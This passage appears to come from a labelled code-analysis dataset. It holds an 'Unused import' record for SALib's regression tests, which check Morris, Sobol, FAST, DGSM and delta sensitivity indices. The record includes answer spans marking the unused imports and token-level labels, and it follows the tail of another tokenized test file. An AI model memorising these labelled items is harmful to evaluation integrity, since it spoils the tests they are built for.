"then", " ", "the", " ", "client", " ", "command", ",", " ", "then", "\\", "10", ";", " ", " ", " ", " ", "kill", " ", "the", " ", "server", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "open_", "(_", ")_", "#", " ", "server_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "client", "\\u", "open_", "(_", ")_", "#", " ", "client_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "status_", "=_", "self_", "._", "client", "\\u", "id_", "._", "wait_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "node_", "._", "cmd", "result_", "(_", "[_", "'", "kill", "all", "'_", ",_", "self_", "._", "args_", "[_", "0_", "]_", "]_", ")_", "#", " ", "stop", " ", "the", " ", "server_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "r_", "=_", "self_", "._", "parse_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "cleanup_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mg", "en", "Cmd_", "(_", "Client", "Server", "Cmd_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "cleanup_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", " ", "Clos", "e", " ", "the", " ", "Pop", "en", " ", "channel", "s", ".'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "stdin_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "out_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "err_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tmp_", "=_", "self_", "._", "id_", "._", "wait_", "(_", ")_", "#", " ", "non", "-", "zero", " ", "mg", "en", " ", "exit", " ", "status", " ", "OK_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
SALib/SALib/SALib/tests/test_regression.py
[ { "content": "from __future__ import division\n\nimport sys\n\nfrom nose.tools import with_setup\nfrom numpy.testing import assert_allclose\n\nfrom SALib.analyze import delta\nfrom SALib.analyze import dgsm\nfrom SALib.analyze import fast\nfrom SALib.analyze import sobol\nfrom SALib.sample import fast_sampler\nfrom SALib.sample import finite_diff\nfrom SALib.sample import latin\nfrom SALib.sample import saltelli\nimport numpy as np\n\nfrom ..analyze import morris\nfrom ..sample.morris import sample\nfrom ..test_functions import Ishigami\nfrom ..util import read_param_file\nfrom .test_util import teardown\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def test_regression_morris_vanilla():\n\n param_file = 'SALib/test_functions/params/Ishigami.txt'\n problem = read_param_file(param_file)\n param_values = sample(problem=problem, N=5000, \\\n num_levels=10, grid_jump=5, \\\n optimal_trajectories=None)\n\n Y = Ishigami.evaluate(param_values)\n\n Si = morris.analyze(problem, param_values, Y,\n conf_level=0.95, print_to_console=False,\n num_levels=10, grid_jump=5)\n\n assert_allclose(Si['mu_star'], [8.1, 2.2, 5.4], atol=0, rtol=5e-1)", "metadata": "root.test_regression_morris_vanilla", "header": "['module', '___EOS___']", "index": 24 }, { "content": "def test_regression_morris_groups():\n\n param_file = 'SALib/test_functions/params/Ishigami_groups.txt'\n problem = read_param_file(param_file)\n\n param_values = sample(problem=problem, N=5000, \\\n num_levels=10, grid_jump=5, \\\n optimal_trajectories=None)\n\n Y = Ishigami.evaluate(param_values)\n\n Si = morris.analyze(problem, param_values, Y,\n conf_level=0.95, print_to_console=False,\n num_levels=10, grid_jump=5)\n\n assert_allclose(Si['mu_star'], [7.87, 6.26], rtol=5e-1)", "metadata": "root.test_regression_morris_groups", "header": "['module', '___EOS___']", "index": 41 }, { "content": "def test_regression_morris_optimal():\n '''\n Tests the use of optimal trajectories with Morris.\n\n Note that the relative tolerance is set to a very high value (default is 1e-05)\n due to the coarse nature of the num_levels and grid_jump.\n '''\n param_file = 'SALib/test_functions/params/Ishigami.txt'\n problem = read_param_file(param_file)\n param_values = sample(problem=problem, N=20, \\\n num_levels=4, grid_jump=2, \\\n optimal_trajectories=9)\n\n Y = Ishigami.evaluate(param_values)\n\n Si = morris.analyze(problem, param_values, Y,\n conf_level=0.95, print_to_console=False,\n num_levels=4, grid_jump=2)\n\n assert_allclose(Si['mu_star'], [8.1, 2.2, 5.4], rtol=10)", "metadata": "root.test_regression_morris_optimal", "header": "['module', '___EOS___']", "index": 59 }, { "content": "def test_regression_sobol():\n param_file = 'SALib/test_functions/params/Ishigami.txt'\n problem = read_param_file(param_file)\n param_values = saltelli.sample(problem, 10000, calc_second_order=True)\n\n Y = Ishigami.evaluate(param_values)\n\n Si = sobol.analyze(problem, Y,\n calc_second_order=True, conf_level=0.95, print_to_console=False)\n\n assert_allclose(Si['S1'], [0.31, 0.44, 0.00], atol=5e-2, rtol=1e-1)\n assert_allclose(Si['ST'], [0.55, 0.44, 0.24], atol=5e-2, rtol=1e-1)\n assert_allclose([Si['S2'][0][1], Si['S2'][0][2], Si['S2'][1][2]], [0.00, 0.25, 0.00], atol=5e-2, rtol=1e-1)", "metadata": "root.test_regression_sobol", "header": "['module', '___EOS___']", "index": 81 }, { "content": "def test_regression_sobol_parallel():\n param_file = 'SALib/test_functions/params/Ishigami.txt'\n problem = read_param_file(param_file)\n param_values = saltelli.sample(problem, 10000, calc_second_order=True)\n\n Y = Ishigami.evaluate(param_values)\n\n Si = sobol.analyze(problem, Y,\n calc_second_order=True, parallel=True, conf_level=0.95, print_to_console=False)\n\n assert_allclose(Si['S1'], [0.31, 0.44, 0.00], atol=5e-2, rtol=1e-1)\n assert_allclose(Si['ST'], [0.55, 0.44, 0.24], atol=5e-2, rtol=1e-1)\n assert_allclose([Si['S2'][0][1], Si['S2'][0][2], Si['S2'][1][2]], [0.00, 0.25, 0.00], atol=5e-2, rtol=1e-1)", "metadata": "root.test_regression_sobol_parallel", "header": "['module', '___EOS___']", "index": 96 }, { "content": "def test_regression_sobol_groups():\n problem = {\n 'num_vars': 3, \n 'names': ['x1', 'x2', 'x3'], \n 'bounds': [[-np.pi, np.pi]]*3,\n 'groups': ['G1', 'G2', 'G1']\n }\n param_values = saltelli.sample(problem, 10000, calc_second_order=True)\n\n Y = Ishigami.evaluate(param_values)\n Si = sobol.analyze(problem, Y,\n calc_second_order=True, parallel=True, conf_level=0.95, print_to_console=False)\n\n assert_allclose(Si['S1'], [0.55, 0.44], atol=5e-2, rtol=1e-1)\n assert_allclose(Si['ST'], [0.55, 0.44], atol=5e-2, rtol=1e-1)\n assert_allclose(Si['S2'][0][1], [0.00], atol=5e-2, rtol=1e-1)", "metadata": "root.test_regression_sobol_groups", "header": "['module', '___EOS___']", "index": 111 }, { "content": "def test_regression_sobol_groups_dists():\n problem = {\n 'num_vars': 3, \n 'names': ['x1', 'x2', 'x3'], \n 'bounds': [[-np.pi,np.pi], [1.0, 0.2], [3, 0.5]],\n 'groups': ['G1', 'G2', 'G1'],\n 'dists': ['unif', 'lognorm', 'triang']\n }\n param_values = saltelli.sample(problem, 10000, calc_second_order=True)\n\n Y = Ishigami.evaluate(param_values)\n Si = sobol.analyze(problem, Y,\n calc_second_order=True, parallel=True, conf_level=0.95, print_to_console=False)\n\n assert_allclose(Si['S1'], [0.427, 0.573], atol=5e-2, rtol=1e-1)\n assert_allclose(Si['ST'], [0.428, 0.573], atol=5e-2, rtol=1e-1)\n assert_allclose(Si['S2'][0][1], [0.001], atol=5e-2, rtol=1e-1)", "metadata": "root.test_regression_sobol_groups_dists", "header": "['module', '___EOS___']", "index": 129 }, { "content": "def test_regression_fast():\n param_file = 'SALib/test_functions/params/Ishigami.txt'\n problem = read_param_file(param_file)\n param_values = fast_sampler.sample(problem, 10000)\n\n Y = Ishigami.evaluate(param_values)\n\n Si = fast.analyze(problem, Y, print_to_console=False)\n assert_allclose(Si['S1'], [0.31, 0.44, 0.00], atol=5e-2, rtol=1e-1)\n assert_allclose(Si['ST'], [0.55, 0.44, 0.24], atol=5e-2, rtol=1e-1)", "metadata": "root.test_regression_fast", "header": "['module', '___EOS___']", "index": 148 }, { "content": "def test_regression_dgsm():\n param_file = 'SALib/test_functions/params/Ishigami.txt'\n problem = read_param_file(param_file)\n param_values = finite_diff.sample(problem, 10000, delta=0.001)\n\n Y = Ishigami.evaluate(param_values)\n\n Si = dgsm.analyze(problem, param_values, Y,\n conf_level=0.95, print_to_console=False)\n\n assert_allclose(Si['dgsm'], [2.229, 7.066, 3.180], atol=5e-2, rtol=1e-1)", "metadata": "root.test_regression_dgsm", "header": "['module', '___EOS___']", "index": 160 }, { "content": "def test_regression_delta():\n param_file = 'SALib/test_functions/params/Ishigami.txt'\n problem = read_param_file(param_file)\n param_values = latin.sample(problem, 10000)\n\n Y = Ishigami.evaluate(param_values)\n\n Si = delta.analyze(problem, param_values, Y,\n num_resamples=10, conf_level=0.95, print_to_console=True)\n\n assert_allclose(Si['delta'], [0.210, 0.358, 0.155], atol=5e-2, rtol=1e-1)\n assert_allclose(Si['S1'], [0.31, 0.44, 0.00], atol=5e-2, rtol=1e-1)", "metadata": "root.test_regression_delta", "header": "['module', '___EOS___']", "index": 173 } ]
[ { "span": "import sys", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 10 }, { "span": "from nose.tools import with_setup", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 33 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "\\u\\u", "future\\u\\u_", "import_", "division_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "nose_", "._", "tools_", "import_", "with", "\\u", "setup_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "numpy_", "._", "testing_", "import_", "assert", "\\u", "allclose_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "SAL", "ib_", "._", "analyze_", "import_", "delta_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "SAL", "ib_", "._", "analyze_", "import_", "dg", "sm_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "SAL", "ib_", "._", "analyze_", "import_", "fast_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "SAL", "ib_", "._", "analyze_", "import_", "sob", "ol_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "SAL", "ib_", "._", "sample_", "import_", "fast", "\\u", "sampler_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "SAL", "ib_", "._", "sample_", "import_", "finite", "\\u", "diff_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "SAL", "ib_", "._", "sample_", "import_", "latin", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "SAL", "ib_", "._", "sample_", "import_", "salt", "elli", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "numpy_", "as_", "np_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "._", "._", "analyze_", "import_", "mor", "ris_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "._", "._", "sample_", "._", "mor", "ris_", "import_", "sample_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "._", "._", "test\\u", "functions_", "import_", "Is", "hi", "gam", "i_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "._", "._", "util_", "import_", "read", "\\u", "param", "\\u", "file_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "._", "test\\u", "util_", "import_", "teardown_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "test\\u", "regress", "ion", "\\u", "mor", "ris", "\\u", "vanilla", "_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "param", "\\u", "file_", "=_", "'", "SAL", "ib", "/", "test\\u", "function", "s", "/", "params", "/", "Is", "hi", "gam", "i", ".", "txt", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "problem_", "=_", "read", "\\u", "param", "\\u", "file_", "(_", "param", "\\u", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "param", "\\u", "values_", "=_", "sample_", "(_", "problem_", "=_", "problem_", ",_", "N_", "=_", "5000_", ",_", "num", "\\u", "levels_", "=_", "10_", ",_", "grid", "\\u", "jump_", "=_", "5_", ",_", "optim", "al", "\\u", "trajectories", "_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Y_", "=_", "Is", "hi", "gam", "i_", "._", "evaluate_", "(_", "param", "\\u", "values_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Si", "_", "=_", "mor", "ris_", "._", "analyze_", "(_", "problem_", ",_", "param", "\\u", "values_", ",_", "Y_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "conf", "\\u", "level_", "=_", "0.95_", ",_", "print", "\\u", "to", "\\u", "console_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "num", "\\u", "levels_", "=_", "10_", ",_", "grid", "\\u", "jump_", "=_", "5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "allclose_", "(_", "Si", "_", "[_", "'", "mu", "\\u", "star", "'_", "]_", ",_", "[_", "8.1", "_", ",_", "2.2_", ",_", "5.4", "_", "]_", ",_", "atol_", "=_", "0_", ",_", "rtol_", "=_", "5e-", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "regress", "ion", "\\u", "mor", "ris", "\\u", "groups_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "param", "\\u", "file_", "=_", "'", "SAL", "ib", "/", "test\\u", "function", "s", "/", "params", "/", "Is", "hi", "gam", "i", "\\u", "group", "s", ".", "txt", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "problem_", "=_", "read", "\\u", "param", "\\u", "file_", "(_", "param", "\\u", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "param", "\\u", "values_", "=_", "sample_", "(_", "problem_", "=_", "problem_", ",_", "N_", "=_", "5000_", ",_", "num", "\\u", "levels_", "=_", "10_", ",_", "grid", "\\u", "jump_", "=_", "5_", ",_", "optim", "al", "\\u", "trajectories", "_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Y_", "=_", "Is", "hi", "gam", "i_", "._", "evaluate_", "(_", "param", "\\u", "values_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Si", "_", "=_", "mor", "ris_", "._", "analyze_", "(_", "problem_", ",_", "param", "\\u", "values_", ",_", "Y_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "conf", "\\u", "level_", "=_", "0.95_", ",_", "print", "\\u", "to", "\\u", "console_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "num", "\\u", "levels_", "=_", "10_", ",_", "grid", "\\u", "jump_", "=_", "5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "allclose_", "(_", "Si", "_", "[_", "'", "mu", "\\u", "star", "'_", "]_", ",_", "[_", "7.8", "7_", ",_", "6.2", "6_", "]_", ",_", "rtol_", "=_", "5e-", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "regress", "ion", "\\u", "mor", "ris", "\\u", "optim", "al_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", " ", " ", "Test", "s", " ", "the", " ", "use", " ", "of", " ", "optim", "al", " ", "trajectories", " ", "with", " ", "Mor", "ris", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Not", "e", " ", "tha", "t", " ", "the", " ", "relative", " ", "tolera", "nce", " ", "is", " ", "set", " ", "to", " ", "a", " ", "very", " ", "high", " ", "value", " ", "(", "default", " ", "is", " ", "1e-0", "5", ")", "\\", "10", ";", " ", " ", " ", " ", "due", " ", "to", " ", "the", " ", "coarse", " ", "natur", "e", " ", "of", " ", "the", " ", "num", "\\u", "level", "s", " ", "and", " ", "grid", "\\u", "jump", ".", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "param", "\\u", "file_", "=_", "'", "SAL", "ib", "/", "test\\u", "function", "s", "/", "params", "/", "Is", "hi", "gam", "i", ".", "txt", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "problem_", "=_", "read", "\\u", "param", "\\u", "file_", "(_", "param", "\\u", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "param", "\\u", "values_", "=_", "sample_", "(_", "problem_", "=_", "problem_", ",_", "N_", "=_", "20_", ",_", "num", "\\u", "levels_", "=_", "4_", ",_", "grid", "\\u", "jump_", "=_", "2_", ",_", "optim", "al", "\\u", "trajectories", "_", "=_", "9_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Y_", "=_", "Is", "hi", "gam", "i_", "._", "evaluate_", "(_", "param", "\\u", "values_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Si", "_", "=_", "mor", "ris_", "._", "analyze_", "(_", "problem_", ",_", "param", "\\u", "values_", ",_", "Y_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "conf", "\\u", "level_", "=_", "0.95_", ",_", "print", "\\u", "to", "\\u", "console_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "num", "\\u", "levels_", "=_", "4_", ",_", "grid", "\\u", "jump_", "=_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "allclose_", "(_", "Si", "_", "[_", "'", "mu", "\\u", "star", "'_", "]_", ",_", "[_", "8.1", "_", ",_", "2.2_", ",_", "5.4", "_", "]_", ",_", "rtol_", "=_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "regress", "ion", "\\u", "sob", "ol_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "param", "\\u", "file_", "=_", "'", "SAL", "ib", "/", "test\\u", "function", "s", "/", "params", "/", "Is", "hi", "gam", "i", ".", "txt", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "problem_", "=_", "read", "\\u", "param", "\\u", "file_", "(_", "param", "\\u", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "param", "\\u", "values_", "=_", "salt", "elli", "_", "._", "sample_", "(_", "problem_", ",_", "10000_", ",_", "calc", "\\u", "second", "\\u", "order_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Y_", "=_", "Is", "hi", "gam", "i_", "._", "evaluate_", "(_", "param", "\\u", "values_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Si", "_", "=_", "sob", "ol_", "._", "analyze_", "(_", "problem_", ",_", "Y_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "calc", "\\u", "second", "\\u", "order_", "=_", "True_", ",_", "conf", "\\u", "level_", "=_", "0.95_", ",_", "print", "\\u", "to", "\\u", "console_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "allclose_", "(_", "Si", "_", "[_", "'", "S1", "'_", "]_", ",_", "[_", "0.31", "_", ",_", "0.44", "_", ",_", "0.00_", "]_", ",_", "atol_", "=_", "5e-", "2_", ",_", "rtol_", "=_", "1e-1", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "allclose_", "(_", "Si", "_", "[_", "'", "ST", "'_", "]_", ",_", "[_", "0.55", "_", ",_", "0.44", "_", ",_", "0.24", "_", "]_", ",_", "atol_", "=_", "5e-", "2_", ",_", "rtol_", "=_", "1e-1", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "allclose_", "(_", "[_", "Si", "_", "[_", "'", "S2", "'_", "]_", "[_", "0_", "]_", "[_", "1_", "]_", ",_", "Si", "_", "[_", "'", "S2", "'_", "]_", "[_", "0_", "]_", "[_", "2_", "]_", ",_", "Si", "_", "[_", "'", "S2", "'_", "]_", "[_", "1_", "]_", "[_", "2_", "]_", "]_", ",_", "[_", "0.00_", ",_", "0.25_", ",_", "0.00_", "]_", ",_", "atol_", "=_", "5e-", "2_", ",_", "rtol_", "=_", "1e-1", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "regress", "ion", "\\u", "sob", "ol", "\\u", "parallel_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "param", "\\u", "file_", "=_", "'", "SAL", "ib", "/", "test\\u", "function", "s", "/", "params", "/", "Is", "hi", "gam", "i", ".", "txt", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "problem_", "=_", "read", "\\u", "param", "\\u", "file_", "(_", "param", "\\u", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "param", "\\u", "values_", "=_", "salt", "elli", "_", "._", "sample_", "(_", "problem_", ",_", "10000_", ",_", "calc", "\\u", "second", "\\u", "order_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Y_", "=_", "Is", "hi", "gam", "i_", "._", "evaluate_", "(_", "param", "\\u", "values_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Si", "_", "=_", "sob", "ol_", "._", "analyze_", "(_", "problem_", ",_", "Y_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "calc", "\\u", "second", "\\u", "order_", "=_", "True_", ",_", "parallel_", "=_", "True_", ",_", "conf", "\\u", "level_", "=_", "0.95_", ",_", "print", "\\u", "to", "\\u", "console_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "allclose_", "(_", "Si", "_", "[_", "'", "S1", "'_", "]_", ",_", "[_", "0.31", "_", ",_", "0.44", "_", ",_", "0.00_", "]_", ",_", "atol_", "=_", "5e-", "2_", ",_", "rtol_", "=_", "1e-1", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "allclose_", "(_", "Si", "_", "[_", "'", "ST", "'_", "]_", ",_", "[_", "0.55", "_", ",_", "0.44", "_", ",_", "0.24", "_", "]_", ",_", "atol_", "=_", "5e-", "2_", ",_", "rtol_", "=_", "1e-1", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "allclose_", "(_", "[_", "Si", "_", "[_", "'", "S2", "'_", "]_", "[_", "0_", "]_", "[_", "1_", "]_", ",_", "Si", "_", "[_", "'", "S2", "'_", "]_", "[_", "0_", "]_", "[_", "2_", "]_", ",_", "Si", "_", "[_", "'", "S2", "'_", "]_", "[_", "1_", "]_", "[_", "2_", "]_", "]_", ",_", "[_", "0.00_", ",_", "0.25_", ",_", "0.00_", "]_", ",_", "atol_", "=_", "5e-", "2_", ",_", "rtol_", "=_", "1e-1", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "regress", "ion", "\\u", "sob", "ol", "\\u", "groups_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "problem_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "num", "\\u", "vars", "'_", ":_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "names", "'_", ":_", "[_", "'", "x1", "'_", ",_", "'", "x2", "'_", ",_", "'", "x3", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "bound", "s", "'_", ":_", "[_", "[_", "-_", "np_", "._", "pi_", ",_", "np_", "._", "pi_", "]_", "]_", "*_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "group", "s", "'_", ":_", "[_", "'", "G1", "'_", ",_", "'", "G2", "'_", ",_", 